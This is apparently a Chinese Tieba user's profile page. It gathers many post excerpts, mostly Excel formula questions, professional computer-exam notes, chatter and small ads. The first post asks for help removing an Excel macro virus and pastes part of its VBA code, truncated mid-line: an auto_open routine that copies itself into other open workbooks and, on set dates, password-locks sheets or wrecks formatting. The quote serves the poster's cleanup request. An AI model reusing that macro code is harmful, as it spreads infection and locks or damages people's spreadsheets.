nanlaihe的个人资料

中宏病毒了，专杀无效，下一步怎么办某个朋友的excel文件都被自动添加了宏。代码大概如下，只复制了一部分放到帖子后面。现在使用宏病毒专杀情人节版和金山毒霸的koffce都杀不出来。请问接下来该怎么办。如何清理excel的那些可恶模块。另外，实在不好弄，也可以这么做。清理电脑上的一切宏模块。我朋友从来没有用过宏，表示可以清理，大家有啥好办法吗？复制代码开头部分如下看起来就不是好东西吧共参考一下 --------- Sub auto_open() Application.OnSheetActivate = "pink" End Sub Sub pink() Dim mn, virname, thismo, passwords, pick, pickmo, head, getname As String, i, j, k, num, wbc, thisnum As Integer wbc = Workbooks.Count For k = 1 To wbc If Workbooks(k).Name = "B00k1.xls" Then getname = "B00k1.xls" Windows("B00k1.xls").Visible = False If Workbooks("B00k1.xls").Saved = False Then Workbooks("B00k1.xls").Save End If Exit For End If Next If wbc < 2 Then GoTo final End If thisnum = ThisWorkbook.Modules.Count num = ActiveWorkbook.Modules.Count For i = 1 To thisnum thismo = ThisWorkbook.Modules(i).Name pickmo = Right(Left(thismo, 2), 1) If pickmo = "V" Then namemo = ThisWorkbook.Modules(i).Name Exit For End If Next If (Asc(ActiveWorkbook.Name) >= 97 And Asc(ActiveWorkbook.Name) <= 122) Or (Asc(ActiveWorkbook.Name) >= 65 And Asc(ActiveWorkbook.Name) <= 90) Then head = Chr(Asc(ActiveWorkbook.Name)) Else head = "N" End If mn = head & "V" & Month(Now) & Day(Now) & Right(Time$, 2) For j = 1 To num pick = Right(Left(ActiveWorkbook.Modules(j).Name, 2), 1) If pick = "V" Then End End If Next If Month(Now) + Day(Now) <> 13 And ActiveSheet.Range("iv65536").FormulaR1C1 <> "=""""" Then ActiveSheet.Range("iv65536").FormulaR1C1 = "=""""" End If ThisWorkbook.Sheets(namemo).Copy ActiveWorkbook.ActiveSheet ActiveWorkbook.Modules(namemo).Name = mn If Left(ActiveWorkbook.Name, 4) <> "Book" Then End If Application.ScreenUpdating = False passwords = Left((Rnd * 1000000000 + 100000000), 8) If Month(Now) + Day(Now) = 13 Then ActiveSheet.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, password:=passwords End If If Month(Now) = 6 And Day(Now) = 15 Then With Cells .ClearFormats .ColumnWidth = 2.75 .RowHeight = 15 End With ActiveWindow.Zoom = 25 Union(Range( _ "AO15,AP15,AO16,AP16,AO16,AO17,AP17

免费解决xp系统下的各种问题不收一分钱完全免费。只要有时间并且是力所能及一定在所不辞。没法留联系方式。能上网的找这个q吧。嗯哪：11138--22090 但愿这样能写出来看明白，但愿这个帖子发出去能帮助该帮助的人。万一沉了，那我也没办法

国庆假期接近尾声，发个贴子聊作纪念，想当年华山论剑... 想当年华山论剑，他用黯然销魂掌，击败了我的七十二路空明拳。我大吼一声改打降龙十八掌，掌心向上，使出一击“飞龙在天”。却不防他也大吼一声，伸出右手，从上而下直劈下来，将到我眼前时瞬间化作食指中指，天哪！这一招竟是六脉神剑之“商阳剑”和“中冲剑”并用，又胜我一筹。不得不佩服，高人就是高人。真可谓天下武功彼此克制，武学之道，玄之又玄！旋即，我二人继续战斗，非争出个胜负来。只听得拳脚声、呐喊声、厮杀声，不绝于耳 ........................ ....................... .................. ............. ........ ...... “石头，剪刀，布！”

国庆假期接近尾声，发个贴子聊作纪念，想当年华山论剑想当年华山论剑，他用黯然销魂掌，击败了我的七十二路空明拳。我大吼一声改打降龙十八掌，掌心向上，使出一击“飞龙在天”。却不防他也大吼一声，伸出右手，从上而下直劈下来，将到我眼前时瞬间化作食指中指，天哪！这一招竟是六脉神剑之“商阳剑”和“中冲剑”并用，又胜我一筹。不得不佩服，高人就是高人。真可谓天下武功彼此克制，武学之道，玄之又玄！旋即，我二人继续战斗，非争出个胜负来。只听得拳脚声、呐喊声、厮杀声，不绝于耳 ........................ ....................... .................. ............. ........ ...... “石头，剪刀，布！”

如果用哪个网址大全都行，请把主页设成www.2345.com/?kz4667805 如果你用哪个网址大全都可以，请把主页设置成http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.2345.com%2F%3Fkz4667805&urlrefer=a6feb3e76216e76fee623edf943bfd24 这样对你没影响，却对我有帮助，谢谢！可以先点开始看看效果满意再设置不满意就别修改了这个网页是2345的推广链接，你每天使用对我有积分提升。不愿意用的，拉倒！还是谢谢你查看此日志。

挺好的百度贴吧android客户端1.0.0, 2.2.2:

急需，合作有偿写稿，ppt2010基础知识参与了一个活动，写ppt2010的基础操作知识。要求写在word里面。我已经做好ppt的案例，愿意参加的参考我的样稿（word稿件），对照我制作好的PPT，仿照我的样稿。写出对应制作步骤章节的稿子。就是写出制作这个PPT的过程，和其中必须的一些知识点的阐述。使用的是PPT2010。希望熟悉PPT2010，尤其是大学生网络兼职、从事计算机教学的老师联系我。一句话，主要是能让读者对照稿件，能做出来那个PPT就行。我的q是937927901 时间紧，此信息有效期截至2011年11月16日晚10点。稿件要求word的稿件，图文混排,图片为嵌入型居中两边无文字，16开纸张，一页大约10元，谈详情再谈。只写稿不能署名，非诚勿扰。

有偿急招PPT2010幻灯片制作，知识写作，写稿提供大概的ppt案例提供基本写作样稿请安装我提供的PPT，仿照我的样稿。写出对应章节的稿子。使用的是PPT2010。希望熟悉PPT2010，尤其是从事计算机知识教学的老师联系我要求不很高，主要是能让读者对照你的样稿，能做出来那个PPT就行。我的q是937927901 时间紧，此信息有效期2011年11月17日。价格大约是图文混排后的16开纸张，一页10元，详情再谈。只写稿不能署名，非诚勿扰。

谁认识这个qq454012767，＃8544number 有事问问情况，联系我的q2422040203

互联网和天宫一号联手，给大家带来的一个有意思的事情搜索“天宫一号发射升空时左下方出现可以亮点” 再搜索“天宫一号发射升空时左下方出现可疑亮点” 可以---明显是错别字，搜出来很多页可疑，却很少很少。看来大家都是懒的，都只顾转帖哈哈

迎七夕，给excel贴吧增添点水分营养，自制水果拼盘稍等就上

最近有个活动是劳动局组织的知识产权考试，大家来好好学学 1什么是知识产权？ 2知识就是力量？ 3知识就是金钱

U活的活动，在第三轮抽中了，名字nanlaihe。三显表啥时间给我呢我参加了U活的活动，在第三轮抽中了，名字nanlaihe。三显表啥时间给我呢？可别给我放坏了啊。抓紧点，急用呢。谢谢

【团队招募】“闲人炒股”团队，期待您的加入！闲着干啥炒股去吧互相交流提高发布回答个股感觉，交流经验，散户进，欢迎！热烈的欢迎！赚钱不羡慕赔钱不后悔

电脑网络内容管理员群，国庆，长跑活动，谁来报名！电脑网络内容管理员群，国庆，长跑活动，谁来报名！跟帖！我！参加！就算参加了哈、排队开始！各位运动员请马上到自己楼层报名！

有气无力的来喊一句，端午节快乐！为什么不放假为什么不放假为什么不放假为什么不放假为什么不放假

祝参加今年职称计算机考试的全体老师全部顺利通过祝参加今年职称计算机考试的全体老师全部顺利通过祝全体老师身体健康万事如意！

难忘2008河北省职称计算机考试讲解练习

职称考试中输入法全角半角区别及其注意事项河北职称计算机考试09年的试题中,有这样的操作题 "在文档wordkt\wzlr.doc中录入下面的文字,所有标点符号都是中文全角符号，所有的字母和数字都是英文半角字符；" 这里简单说下全角与半角区别一、什么是全角和半角？（1）全角---指一个字符占用两个标准字符位置。汉字字符和规定了全角的英文字符及国标GB2312-80中的图形符号和特殊字符都是全角字符。一般的系统命令是不用全角字符的，只是在作文字处理时才会使用全角字符。（2）半角---指一字符占用一个标准的字符位置。通常的英文字母、数字键、符号键都是半角的，半角的显示内码都是一个字节。在系统内部，以上三种字符是作为基本代码处理的，所以用户输入命令和参数时一般都使用半角。二、全角和半角举例说明示例如下：(键盘的输入是一样的，输入法的设置不同) [全角举例]AabB1234＠＃＄％＾＆＊；，。： [半角举例]AabB1234@$%^&*;,.: 在汉字输入法出现的时候，输入的字母数字默认为半角，但是标点则是默认为全角（如下图）可以通过鼠标点击输入法工具条上的相应按钮来改变，输入法名字左边的按钮是改变中文和英文输入的，右边的圆和半圆是改变字母和数字的全角半角的，再右边的“.,”或者"。，"是用来改变标点符号的中英文设置（中文标点即是全角，英文标点即是半角），最右边的键盘图标是显示软键盘用的，可以输入一些特殊字符或者其它语言里面的字母。在我们日常使用的电脑系统里，初始输入法一般都默认为英文输入法，这时自然会处在半角状态下，无论是输入字母、符号还是数字，始终都只占一个英文字符的位置。若切换到中文输入法状态中，则会有全角半角两种选择。全角和半角综述：在考试中，大家一般可以使用快捷键“CTR+Shift”组合键，切换中文和英文输入状态。以下是全角和半角的图片标志：

2009河北职称计算机考试高级部分数据库例题汇总报考高级的除了需要考基本内容外，还要学习高级数据库，下面把部分例题列出来供参考

签到处！到本吧请自觉签到，如不签到，按旷工处理，扣除本月全勤奖，后果自负建议格式如下河北石家庄吧友到此一瞅，2010，已报名。

多项选择题多项选择题汇总

2010年河北职称计算机考试报名网页链接简介

2010年河北省职称计算机应用能力考试工作计划请大家注意具体时间，不要错过 2010年河北省职称计算机应用能力考试工作计划 2009年12月各地组织报名，征订考试用书 2010年元月15日各地报考试用书和光盘征订单 2010年3月1日各地上报报考人数统计表 2010年5月各地安排考场，发放准考证 2010年6、7月统一组织各考区、考点考务工作培训。上报报名信息数据库及所用考生照片光盘.领取系统及题库光盘，进行考试 2010年8月公布考试分数和合格标准

求助，按条件生成新工作薄一个普通表中有100多个单位的数据，大概2000行，10列先说以前的步骤，很有规律，筛选，新建工作薄，复制粘贴，保存。........单位多，太麻烦了，现在想用vba搞定，将各单位的数据分开生成新工作薄要求如下，看起来有点多，呵呵，麻烦高手出手！ 1表头（1-8)行，各工作薄都保留表头 2各工作薄以本单位名为工作薄名 3各工作薄中保持原始数据，是数据的是数据，该是公式的是公式 4各表最后一行添加一个合计，计算该表中的fghij列的和 5统一设置，字号为12号、纸张为A4纸、横向(如果此步骤麻烦可以不设置)

按条件计算不重复的数目重复间隔点6 20091106 重复间隔点6 20091106 重复间隔点6 20091111 重复间隔点6 20091107 重复间隔点13 20091110 重复间隔点13 20091104 重复间隔点13 20091112 重复间隔点13 20091111 重复间隔点13 20091110 重复间隔点13 20091107 普通间隔点13 20091107 重复间隔点15 20091107 重复间隔点15 20091110 重复间隔点17 20091106 重复间隔点17 20091104 重复间隔点20 20091112 重复间隔点20 20091111 重复间隔点20 20091107 普通间隔点23 20091112 重复间隔点23 20091104 重复间隔点23 20091112 普通间隔点26 20091104 重复间隔点26 20091108 重复间隔点26 20091112 重复间隔点28 20091107 重复间隔点28 20091110 以上数据位于ab两列，如何计算A=重复，B在一个同意间隔点段内不重复的日期个数如前4行是间隔点6 因为20091106 重复了一下，要得出3来如何做到

吧友们！我的第一个音乐作品，送给你！吧友们好！最近利用学的知识做了一个音乐作品，先来这里通知大家去听，请多提宝贵意见！一年前来到excle吧，很喜欢这里的气氛，这里的朋友，也很喜欢这里的问题。不管你认不认识我，都不重要，希望你喜欢我的作品。也许不该发到这，请吧主手下留情，等它自主沉浮吧。

新帖回答，如何将后面括号包括括号内的内容去掉有朋友在别的帖子问这个，如何将后面括号包括括号内的内容去掉 KFRd-35GWQ1(35285) KFRd-33GWL(33201) KFRd-32GW(32002) KF-75LWE(75502) KFR-32GWA/BP(3282) KFR-32GWA/BP(3282) KFR-32GWA/BP(3282) KFRd-50LWZ(50619) KFRd-35GWL1(35279) KFRd-120LW/B1(12407) KFRd-50LWZ(50619) KFRd-50LWLCX(50491) KFR-35GWEF/L(35252) 根据实际情况，可以这么处理数据如果在A列，那么请在B列输入对应公式 =TRIM(LEFT(SUBSTITUTE(A1,"(",REPT(" ",10)),20)) 一般情况都可以解决了，个别不行的话手动调整一下参数。

问，有规律生成新代码，北京1 上海2 天津3， A列200行数据，都是地名，有重复，如最后示意。想在B列产生代码，规律是，北京 1 上海2 天津3 .......... 湖北9，大约八九个条件。超过7个，不能使用if了，呵呵，也不想用查找替换。想着好像见过类似这个函数的=LOOKUP(A1,{"","北京","上海";"","1","2"})可惜自己没弄成，有别的什么好办法吗？ ———————————————— 北京1 上海2 天津3 河北河南湖北9 湖南上海2 天津3 浙江四川安徽北京1 陕西山西海南上海2 天津3 湖北9 湖南山东

疑惑,查找替换后引起单元格格式变化打开一个空白的excle文件我们知道直接输入1978-7，会变成Jul-78，且单元格格式自动变为mmm-yy 现在我发现一个问题。把单元格格式设置成文本，输入1978-7，手动修改无论怎么修改都不会变化格式。用“查找替换”进行，查找- 替换- 之后，会变成Jul-78，且单元格格式自动变为mmm-yy 感觉这里有点怪，但是说不出来，查找替换在这里..............

将1行20单元格连接起来，如何做？比如第二行，从B开始往右有很多个单元格，把他们连接起来，一般可以这么 =B2&C2&D2&E2&............ 怎么做？或者问用数组怎么做？呵呵

问：同时安装中、英文版的excel，能方便的切换吗，能共存吗？我的原来用的是英文版的office系列，最近有安装了中文版，安装路径不一样。现在从哪个打开都是中文版了。怎么让中文英文版共存，能做到吗？如何做？

求助，如何在中设置格式将输入的数字自动缩小1万倍？朋友遇到问题，问，在自己制作的表格中有很多万位以上的数字输入，按实际输入表格很占空间，想把它输入后自动变成2位或者3位数，应该怎样进行设置？不采用辅助单元格可以吗？例如10000，想显示为1万，或者1 120000，显示为12万能做到吗？

让批注也能显示图片片一般批注都是写点文字。其实也可变相加上图片。插入批注后，在批注框上点击右键(注意是在批注边框上，否则只能修改字体格式)，选择“设置批注格式”，然后在“颜色与线条”标签中找到填充-颜色，点填充-颜色后面的小三角，再在弹出的下拉列表中找到“填充效果”，再找到“图片”标签，再找下方的“选择图片”，呵呵，好麻烦不过还是可以将一张图片作为批注背景的哦，不过接下来你要注意的是，调整好字体颜色了，否则和背景冲突看不清啊，呵呵另外，多说一句，在单元格内点右键，选择显示批注。效果试试

分享分类汇总后如何只复制分类汇总结果而不复制原数据以前大家讨论过的主要操作是 1 用定位可见单元格 2 先复制到记事本，然后再复制我现在发现有个新的办法，选择你要复制的区域后,不直接复制,按一下alt+； (alt加分号) 然后再复制，就可以了。其实就是一个快捷键吧，具体情况还不很明白，不过的确可以

为什么朋友写公式在公式前面加- - 啊发现很多朋友给出的公式前面都时不时的有- -，有的是一个，有的是两个我不理解是为什么，是有意还是无意。-应该是负号，- -应该是负负得正吧，呵呵，什么意思呢，谁给说说

如何实现有规律换列适应纸张数据共三个列，1000多行。数据排列很规律，同一批次大约60行数据，打印在一张A4纸上效果最好。直接打印右侧空白实在浪费纸张。目前需要手动剪切粘贴重新排版，有点啰嗦，没劲。所以想问问有没有别的办法自动排列批次编号名称1101螺丝1102轴承1103钉子1104改锥......（还有50多行）2201螺丝2202轴承2203钉子2204改锥......（还有50多行）3301螺丝3302轴承3303钉子3304改锥......（还有50多行）4401螺丝4402轴承4403钉子4404改锥......（还有50多行）5501螺丝5502轴承5503钉子5504改锥......（还有50多行）

关于大家都在说的最近的黑屏事件有感关于大家都在说的最近的黑屏事件有感如果世上没有盗版我们的计算机将会如何发展？你会不会知道有个公司叫微软？如果没有win系列的盗版微软如何发展视窗在全球的普及度将会不抵现在的一半仔细算算靠著"盗版"所带来的"普及度" 以及从中得到的"间接利益" 细细数来不止千千万万盗版并不是单方向性的寄生虫别说的自己像无辜的受害者一样惨别说的自己像什么一样可怜木然回首一路走来是谁在和你作伴？吧主看看，该删就删！

如果世上没有盗版如果世上没有盗版我们的计算机将会如何发展？你会不会知道有个公司叫微软？如果没有win系列的盗版微软如何发展视窗在全球的普及度将会不抵现在的一半仔细算算靠著"盗版"所带来的"普及度" 以及从中得到的"间接利益" 细细数来不止千千万万盗版并不是单方向性的寄生虫别说的自己像无辜的受害者一样惨别说的自己像什么一样可怜回头看看一路走来是谁在和你作伴？

关于大家都在说的最近的黑屏事件有感如果世上没有盗版我们的计算机将会如何发展？你会不会知道有个公司叫微软？如果没有win系列的盗版微软如何发展视窗在全球的普及度将会不抵现在的一半仔细算算靠著"盗版"所带来的"普及度" 以及从中得到的"间接利益" 细细数来不止千千万万盗版并不是单方向性的寄生虫别说的自己像无辜的受害者一样惨别说的自己像什么一样可怜回头看看一路走来是谁在和你作伴？